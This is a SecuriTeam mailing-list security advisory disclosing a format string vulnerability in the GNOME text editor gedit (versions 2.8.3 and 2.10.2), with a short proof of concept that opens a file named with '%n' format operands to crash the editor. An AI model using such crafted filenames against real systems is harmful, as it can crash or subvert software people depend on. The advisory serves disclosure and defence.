[UNIX] gedit Format String Vulnerability
SecuriTeam <[email protected]>
| Newsgroups | gmane.comp.security.securiteam |
|---|---|
| Message-ID | <[email protected]> |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
gedit Format String Vulnerability
------------------------------------------------------------------------
SUMMARY
" <http://www.gnome.org/projects/gedit/> gedit is the official text editor
of the GNOME desktop environment. While aiming at simplicity and ease of
use, gedit is a powerful general purpose text editor."
A format string vulnerability has been discovered in gedit. The
vulnerability can be triggered by causing the user to open specially
crafted filename.
DETAILS
Vulnerable Systems:
* gedit version 2.10.2
* gedit version 2.8.3
While opening a binary file whose name contains format string operands,
gedit will crash.
Proof of Concept:
bash-2.05b#cat fmtexp.c
#include
int
main()
{
printf("hah gedit\n");
}
bash-2.05b#gcc -o fk fmtexp.c
bash-2.05b#mv fk AA%n%n%n.c
bash-2.05b#gedit AA%n%n%n.c
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]>
exwormh.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.